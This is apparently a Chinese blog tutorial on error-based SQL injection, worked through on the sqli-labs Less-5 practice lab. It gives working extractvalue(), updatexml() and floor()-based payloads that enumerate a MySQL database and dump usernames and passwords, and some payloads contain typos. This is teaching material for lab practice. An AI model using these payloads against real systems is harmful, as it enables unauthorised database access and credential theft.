sql注入之报错注入

1.1 报错注入原理

报错注入的原理基于应用程序在处理数据库查询时产生的错误信息。当应用程序执行一个含有恶意SQL代码的查询时,如果查询出错(例如,由于语法错误或权限不足),数据库系统通常会返回一个错误信息给应用程序。这个错误信息可能会包含有关数据库结构的敏感信息,如数据库名称、表名、列名等。攻击者可以利用这些信息来进一步构建更复杂的SQL注入攻击,以获取更多的数据库内容。

1.2 报错注入靶场

http://192.168.1.24/sqli-labs/Less-5/

1.3 报错注入的函数

  1. extractvalue():这个函数是MySQL中用于对XML文档数据进行查询的XPath函数。当它的第二个参数不是一个合法的XPath表达式时,会引发错误,并可能返回包含攻击者所需信息的错误消息。

  2. updatexml():这也是MySQL的一个XML函数,用于改变(查找并替换)XML文档中符合条件的节点的值。当Xpath定位非法时,会引发错误,从而可能泄露数据库信息。

  3. floor():floor()函数是MySQL中用来取整的函数。在报错注入中,攻击者可能会构造特定的SQL语句,利用floor()函数的特性来触发错误,并从中获取数据库信息。

1.4 寻找注入点

发现没有了用户和ID的回显,只有"You are ing..",查看有无报错回显,找到闭合方式

有报错的回显。然后判断字段数

1.5 用order by判断字段数

复制代码
?id=1' order by 1,2,3--+
?id=1' order by 1,2,3,4--+

输入4的时候会报错,那就得到字段数为3

1.6 用union select 寻找注入点

复制代码
?id=1'  union select 1,2,3--+
?id=1'  union select 1,2,3,4--+

输入到3爆you are in

输入到4的时候报错

得到注入点在3

1.7 用extractvalue()函数爆数据库。

用extractvalue函数进行报错注入。

复制代码
爆破数据库
?id=1' or/and extractvalue(1,concat(0x7e,database()/(select database()),0x7e))--+

得到数据库名security

1.8 爆数据表

复制代码
爆破数据库表
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name)fro information_schema.tables where table_schema=database()),0x7e))--+

得到名为emails,referers,uagents,users的四个表

1.9 爆users表中的字段

复制代码
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e))--+

得到名为user_id,first_name,last_name,us,的字段

1.10 爆字段值

复制代码
?id=1' or extractvalue(1,concat(0x7e,(select username from users limit
0,1),0x7e))--+
?id=1' or extractvalue(1,concat(0x3e,(select group_concat(password) from
users),0x3e),1)--+

1.11 用updatexml()函数进行报错注入

复制代码
爆破数据库
?id=1' or/and updatexml(1,concat(0x7e,database()/(select database()),0x7e),1)--+
复制代码
爆破数据库表
?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name)from
information_schema.tables where table_schema=database()),0x7e),1)--+
复制代码
爆破字段
?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name)from
information_schema.columns where table_name='users'),0x7e),1)--+
复制代码
爆破数据内容
?id=1' or updatexml(1,concat(0x7e,(select password from users limit
0,1),0x7e),1)--+

1.12.通floor()函数进行报错注入,前提需要知道有多少字段数

复制代码
爆破数据库
?id=-1' union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x
from information_schema.tables group by x--+
复制代码
爆破数据库表
?id=-1' union select 1,count(*),concat(0x7e,(select (table_name)from
information_schema.tables where table_schema=database() limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
复制代码
爆破字段
?id=-1' union select 1,count(*),concat(0x7e,(select (column_name)from
information_schema.columns where table_name='users' limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
复制代码
爆破数据库内容
?id=-1' union select 1,count(*),concat(0x7e,(select (username)from users limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
相关推荐
安全系统学习8 小时前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
江苏思维驱动智能研究院有限公司11 小时前
Sophos 网络安全:全球领先的自适应安全解决方案提供商
网络·安全·web安全
浩浩测试一下18 小时前
渗透信息收集- Web应用漏洞与指纹信息收集以及情报收集
android·前端·安全·web安全·网络安全·安全架构
Fortinet_CHINA21 小时前
工业网络安全新范式——从风险可见性到量化防御的进化
安全·web安全
网安小白的进阶之路1 天前
A模块 系统与网络安全 第三门课 网络通信原理-3
网络·windows·安全·web安全·系统安全
HumanRisk1 天前
HumanRisk-自动化安全意识与合规教育平台方案
网络·安全·web安全·网络安全意识教育
安全系统学习1 天前
【网络安全】Mysql注入中锁机制
安全·web安全·网络安全·渗透测试·xss
缘友一世2 天前
网安系列【4】之OWASP与OWASP Top 10:Web安全入门指南
安全·web安全
安全系统学习2 天前
网络安全之SQL RCE漏洞
安全·web安全·网络安全·渗透测试
聚铭网络2 天前
案例精选 | 某省级税务局AI大数据日志审计中台应用实践
大数据·人工智能·web安全